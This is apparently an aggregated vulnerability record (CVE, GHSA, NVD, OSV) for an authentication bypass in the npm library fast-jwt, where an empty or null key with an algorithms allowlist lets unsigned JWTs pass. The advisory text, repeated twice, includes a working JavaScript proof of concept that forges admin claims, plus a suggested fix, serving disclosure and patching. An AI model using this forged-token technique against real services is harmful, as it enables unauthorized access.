{"id":"CVE-2026-107720","aliases":["EUVD-2026-95344","GHSA-8wpc-h4q6-8fxv"],"status":"published","title":"fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.","severity":{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00324,"percentile":0.25789,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-20","CWE-347"],"published":"2026-10-08T21:44:06Z","modified":"2026-10-28T02:30:54Z","exploits":[{"source":"pocgithub","id":"federiconbaez/cortex9-fastjwt-empty-key-unsigned-accept-model","title":"federiconbaez/cortex9-fastjwt-empty-key-unsigned-accept-model","date":"2026-11-09","url":"https://github.com/federiconbaez/cortex9-fastjwt-empty-key-unsigned-accept-model"}],"fixes":[{"ecosystem":"npm","package":"fast-jwt","fixed_in":["6.3.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"fast-jwt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.3.0"},{"fixed":"6.3.1"}]}]},{"source":"osv","ecosystem":"npm","package":"fast-jwt","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.3.1"}]}]}],"products":[{"vendor":"nearform","product":"fast-jwt"}],"references":[{"url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/nearform/fast-jwt/pull/649","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/nearform/fast-jwt/releases/tag/v6.3.1","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-8wpc-h4q6-8fxv"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107720.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107720","tags":["advisory"]},{"url":"https://github.com/nearform/fast-jwt","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-107720","title":"fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.","status":"published","published":"2026-10-08T21:44:06.843Z","modified":"2026-10-09T14:32:14.931Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-20","CWE-347"],"updated_at":"2026-11-02T13:45:25.313702Z"}],"euvd":[{"id":"EUVD-2026-95344","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.","status":"published","published":"2026-10-08T21:44:06Z","modified":"2026-10-09T14:32:14Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T17:27:25.010362Z"}],"ghsa":[{"id":"GHSA-8wpc-h4q6-8fxv","title":"fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set","description":"### Summary\n\n`createVerifier` in fast-jwt ≤ 6.3.0 skips signature verification entirely when the `key` option is a falsy synchronous value (`''` or `null`) **and** the `algorithms` option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.\n\n### Details\n\n**Root cause — four cooperating code paths:**\n\n**A. Falsy sync keys bypass `prepareKeyOrSecret`**\n\n`createVerifier` branches on `typeof key`:\n\n```js\nconst keyType = typeof key\nif (keyType !== 'string' \u0026\u0026 keyType !== 'object' \u0026\u0026 keyType !== 'function') {\n  throw new TokenError(/* ... */)\n}\nif (key \u0026\u0026 keyType !== 'function') {\n  key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))\n}\n```\n\nWhen `key` is `''` (string, falsy) or `null` (object, falsy) the outer type check passes but the `if (key \u0026\u0026 ...)` guard never calls `prepareKeyOrSecret`. The empty-secret rejection added in that function is therefore never reached for sync keys:\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n  if (isSecret \u0026\u0026 key.length === 0) {\n    throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')\n  }\n  return isSecret ? createSecretKey(key) : createPublicKey(key)\n}\n```\n\n**B. Explicit `algorithms` keeps an allowlist active with no key**\n\nWhen `key` is falsy, autodetection is skipped and the caller-supplied `algorithms` (e.g. `['HS256']`) is retained in `allowedAlgorithms`. The verifier therefore accepts tokens whose header matches that list.\n\n**C. `hasKey` is false → missing signature is permitted**\n\n```js\nconst hasKey = key instanceof Buffer ? key.length : !!key\n\nif (hasKey \u0026\u0026 !signature) {\n  throw new TokenError(/* missingSignature */)\n} else if (!hasKey \u0026\u0026 signature) {\n  throw new TokenError(/* missingKey */)\n}\n// !hasKey \u0026\u0026 !signature → fall through with NO crypto\n```\n\nAn unsigned token (`header.payload.`) produces `signature === ''`, which is falsy, so both branches are skipped.\n\n**D. Signature check is gated on `signature` being truthy**\n\n```js\nif (signature \u0026\u0026 !verifySignature(header.alg, key, input, signature)) {\n  throw new TokenError(/* invalidSignature */)\n}\n```\n\nEmpty signature → condition is `false` → `verifySignature` is never called.\n\n**E. Signer / verifier asymmetry**\n\n- `createSigner({ key: '' })` / `key: null` → **rejected**\n- `createVerifier({ key: async () =\u003e '' })` → **rejected** (GHSA empty-secret tests)\n- `createVerifier({ key: '' | null, algorithms: [...] })` → **accepted**, then verifies unsigned tokens\n\nIronically, the security best practice of setting `algorithms` **enables** the bypass. With `algorithms` omitted, `allowedAlgorithms` stays `[]` and every token fails closed.\n\n**Affected versions:** confirmed on 6.3.0 (current `main` @ 378422c).\nThis is an incomplete fix relative to the empty-secret hardening already applied for `Buffer` keys and `async` key functions (GHSA-gmvf lineage, PR #609).\n\n### PoC\n\n```bash\ncd /tmp \u0026\u0026 git clone --depth 1 https://github.com/nearform/fast-jwt.git \u0026\u0026 cd fast-jwt \u0026\u0026 npm install\n```\n\n```js\n// poc-empty-key-bypass.js\nconst { createVerifier } = require('.')\n\nfunction unsigned(alg, claims) {\n  const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')\n  const p = Buffer.from(JSON.stringify(claims)).toString('base64url')\n  return `${h}.${p}.`  // trailing dot = empty signature\n}\n\nconst token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })\n\n// Vulnerable: key '' + explicit algorithms allowlist\nconst verify = createVerifier({ key: '', algorithms: ['HS256'] })\nconsole.log(verify(token))\n// → { sub: 'attacker', admin: true, role: 'root' }\n\n// Also works for RS256 / ES256 / EdDSA allowlists and key: null\nconsole.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))\n// → { admin: true }\n\n// Negative controls (correctly rejected):\ntry { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }\n  catch (e) { console.log('non-empty key:', e.code) }   // FAST_JWT_MISSING_SIGNATURE\n\ntry { createVerifier({ key: '' })(token) }\n  catch (e) { console.log('empty key, no algorithms:', e.code) }  // FAST_JWT_INVALID_ALGORITHM\n\ntry { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }\n  catch (e) { console.log('empty Buffer:', e.code) }   // FAST_JWT_INVALID_KEY\n```\n\n**Expected:** `TokenError` with code `FAST_JWT_INVALID_KEY`\n**Actual:** payload returned with no signature check\n\n### Impact\n\nFull authentication / authorization bypass. Any application that:\n\n1. Uses `createVerifier` with `key: ''` or `key: null` (common when a secret is read from an unset environment variable, e.g. `process.env.JWT_SECRET || ''`), **and**\n2. Sets `algorithms` to a non-empty allowlist (a recommended security practice),\n\nwill accept attacker-crafted JWTs with arbitrary claims. Claim checks (`exp`, `allowedSub`, etc.) still run; only signature verification is skipped.\n\n### Suggested fix\n\nIn `createVerifier`, fail closed before binding the verifier:\n\n```js\nif (keyType !== 'function') {\n  if (key === null || key === '' || (Buffer.isBuffer(key) \u0026\u0026 key.length === 0)) {\n    throw new TokenError(TokenError.codes.invalidKey,\n      'The key cannot be null, empty, or a zero-length buffer.')\n  }\n}\n```\n\nAlso guard the combination explicitly:\n\n```js\nif (!key \u0026\u0026 allowedAlgorithms.length \u003e 0) {\n  throw new TokenError(TokenError.codes.invalidKey,\n    'The key cannot be falsy when algorithms is set.')\n}\n```\n\nThe async path (key function resolving to `''`) is already hardened via `prepareKeyOrSecret` and does not need to change.","status":"published","published":"2026-10-08T22:02:12Z","modified":"2026-10-08T22:02:13Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-20","CWE-347"],"updated_at":"2026-11-02T14:41:30.097746Z"}],"nvd":[{"id":"CVE-2026-107720","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.","status":"published","published":"2026-10-08T22:17:28.09Z","modified":"2026-10-09T15:17:08.947Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-20","CWE-347"],"updated_at":"2026-11-02T14:12:55.142936Z"}],"osv":[{"id":"CVE-2026-107720","title":"fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.","status":"published","published":"2026-10-08T21:44:06.843Z","modified":"2026-10-28T02:30:54.16319217Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-20","CWE-347"],"updated_at":"2026-11-02T15:44:54.933106Z"},{"id":"GHSA-8wpc-h4q6-8fxv","title":"fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set","description":"### Summary\n\n`createVerifier` in fast-jwt ≤ 6.3.0 skips signature verification entirely when the `key` option is a falsy synchronous value (`''` or `null`) **and** the `algorithms` option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.\n\n### Details\n\n**Root cause — four cooperating code paths:**\n\n**A. Falsy sync keys bypass `prepareKeyOrSecret`**\n\n`createVerifier` branches on `typeof key`:\n\n```js\nconst keyType = typeof key\nif (keyType !== 'string' \u0026\u0026 keyType !== 'object' \u0026\u0026 keyType !== 'function') {\n  throw new TokenError(/* ... */)\n}\nif (key \u0026\u0026 keyType !== 'function') {\n  key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))\n}\n```\n\nWhen `key` is `''` (string, falsy) or `null` (object, falsy) the outer type check passes but the `if (key \u0026\u0026 ...)` guard never calls `prepareKeyOrSecret`. The empty-secret rejection added in that function is therefore never reached for sync keys:\n\n```js\nfunction prepareKeyOrSecret(key, isSecret) {\n  if (isSecret \u0026\u0026 key.length === 0) {\n    throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')\n  }\n  return isSecret ? createSecretKey(key) : createPublicKey(key)\n}\n```\n\n**B. Explicit `algorithms` keeps an allowlist active with no key**\n\nWhen `key` is falsy, autodetection is skipped and the caller-supplied `algorithms` (e.g. `['HS256']`) is retained in `allowedAlgorithms`. The verifier therefore accepts tokens whose header matches that list.\n\n**C. `hasKey` is false → missing signature is permitted**\n\n```js\nconst hasKey = key instanceof Buffer ? key.length : !!key\n\nif (hasKey \u0026\u0026 !signature) {\n  throw new TokenError(/* missingSignature */)\n} else if (!hasKey \u0026\u0026 signature) {\n  throw new TokenError(/* missingKey */)\n}\n// !hasKey \u0026\u0026 !signature → fall through with NO crypto\n```\n\nAn unsigned token (`header.payload.`) produces `signature === ''`, which is falsy, so both branches are skipped.\n\n**D. Signature check is gated on `signature` being truthy**\n\n```js\nif (signature \u0026\u0026 !verifySignature(header.alg, key, input, signature)) {\n  throw new TokenError(/* invalidSignature */)\n}\n```\n\nEmpty signature → condition is `false` → `verifySignature` is never called.\n\n**E. Signer / verifier asymmetry**\n\n- `createSigner({ key: '' })` / `key: null` → **rejected**\n- `createVerifier({ key: async () =\u003e '' })` → **rejected** (GHSA empty-secret tests)\n- `createVerifier({ key: '' | null, algorithms: [...] })` → **accepted**, then verifies unsigned tokens\n\nIronically, the security best practice of setting `algorithms` **enables** the bypass. With `algorithms` omitted, `allowedAlgorithms` stays `[]` and every token fails closed.\n\n**Affected versions:** confirmed on 6.3.0 (current `main` @ 378422c).\nThis is an incomplete fix relative to the empty-secret hardening already applied for `Buffer` keys and `async` key functions (GHSA-gmvf lineage, PR #609).\n\n### PoC\n\n```bash\ncd /tmp \u0026\u0026 git clone --depth 1 https://github.com/nearform/fast-jwt.git \u0026\u0026 cd fast-jwt \u0026\u0026 npm install\n```\n\n```js\n// poc-empty-key-bypass.js\nconst { createVerifier } = require('.')\n\nfunction unsigned(alg, claims) {\n  const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')\n  const p = Buffer.from(JSON.stringify(claims)).toString('base64url')\n  return `${h}.${p}.`  // trailing dot = empty signature\n}\n\nconst token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })\n\n// Vulnerable: key '' + explicit algorithms allowlist\nconst verify = createVerifier({ key: '', algorithms: ['HS256'] })\nconsole.log(verify(token))\n// → { sub: 'attacker', admin: true, role: 'root' }\n\n// Also works for RS256 / ES256 / EdDSA allowlists and key: null\nconsole.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))\n// → { admin: true }\n\n// Negative controls (correctly rejected):\ntry { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }\n  catch (e) { console.log('non-empty key:', e.code) }   // FAST_JWT_MISSING_SIGNATURE\n\ntry { createVerifier({ key: '' })(token) }\n  catch (e) { console.log('empty key, no algorithms:', e.code) }  // FAST_JWT_INVALID_ALGORITHM\n\ntry { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }\n  catch (e) { console.log('empty Buffer:', e.code) }   // FAST_JWT_INVALID_KEY\n```\n\n**Expected:** `TokenError` with code `FAST_JWT_INVALID_KEY`\n**Actual:** payload returned with no signature check\n\n### Impact\n\nFull authentication / authorization bypass. Any application that:\n\n1. Uses `createVerifier` with `key: ''` or `key: null` (common when a secret is read from an unset environment variable, e.g. `process.env.JWT_SECRET || ''`), **and**\n2. Sets `algorithms` to a non-empty allowlist (a recommended security practice),\n\nwill accept attacker-crafted JWTs with arbitrary claims. Claim checks (`exp`, `allowedSub`, etc.) still run; only signature verification is skipped.\n\n### Suggested fix\n\nIn `createVerifier`, fail closed before binding the verifier:\n\n```js\nif (keyType !== 'function') {\n  if (key === null || key === '' || (Buffer.isBuffer(key) \u0026\u0026 key.length === 0)) {\n    throw new TokenError(TokenError.codes.invalidKey,\n      'The key cannot be null, empty, or a zero-length buffer.')\n  }\n}\n```\n\nAlso guard the combination explicitly:\n\n```js\nif (!key \u0026\u0026 allowedAlgorithms.length \u003e 0) {\n  throw new TokenError(TokenError.codes.invalidKey,\n    'The key cannot be falsy when algorithms is set.')\n}\n```\n\nThe async path (key function resolving to `''`) is already hardened via `prepareKeyOrSecret` and does not need to change.","status":"published","published":"2026-10-08T22:02:12Z","modified":"2026-10-08T22:15:07.105532249Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-20","CWE-347"],"updated_at":"2026-11-02T15:46:42.78452Z"}]}}
